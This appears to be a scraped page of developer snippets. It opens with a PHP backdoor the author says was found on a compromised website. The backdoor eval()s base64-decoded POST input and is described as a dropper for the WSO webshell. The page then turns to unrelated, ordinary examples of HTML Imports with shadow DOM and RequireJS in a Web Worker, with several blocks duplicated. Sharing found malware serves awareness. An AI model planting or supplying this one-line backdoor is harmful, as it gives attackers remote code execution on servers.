Malware

Found this in a broken websites I worked on a couple of years ago. A very dangerous piece of code. It’s a first stage malware dropper.


<?php
if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}
?>

<?php

if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}

It appears that it was used to install WSO remote webshell. Joomla’s weblink module vulnerability to MySQL injection was exploited to compromise system.

Import custom HTML element with shadow DOM


<!-- importing document -->
<link rel="import" href="my-element.html">


<!-- my-element.html -->
<template>
    <!--
    HTML, JavaScript, CSS here will not be accessible from importing document
    -->
</template>

<script>
(function() {
    var component = document.currentScript.ownerDocument;
    var tpl = component.querySelector('template');
    var MyProto = Object.create(HTMLElement.prototype);

    MyProto.createdCallback = function() {
        this.root = this.createShadowRoot();
        this.root.appendChild(document.importNode(tpl.content, true));
    };

    document.registerElement('my-element', {
        prototype: MyProto
    });
})();
</script>

RequireJS in Web Worker


// worker.js
importScripts('require.js');

require(['module'], function(dep) {
	postMessage('module loaded');
	onmessage = function(msg) {
		// do cool stuff
		postMessage('done');
	}
});

// worker.js

importScripts('require.js');

require(['module'], function(dep) {

postMessage('module loaded');

onmessage = function(msg) {

// do cool stuff

postMessage('done');

}

});


// script.js
var worker = new Worker('worker.js');

// following message will not be heard
worker.postMessage('listening');
worker.onmessage = function(e) {
	switch(e.data) {
		case 'module loaded':
			worker.postMessage('data');
			break;
		case 'done':
			// update GUI
			break;
	}
}

// script.js

var worker = new Worker('worker.js');

// following message will not be heard

worker.postMessage('listening');

worker.onmessage = function(e) {

switch(e.data) {

case 'module loaded':

worker.postMessage('data');

break;

case 'done':

// update GUI

break;

}

Note: workers can not access DOM. Use xmlHttpRequest for AJAX.
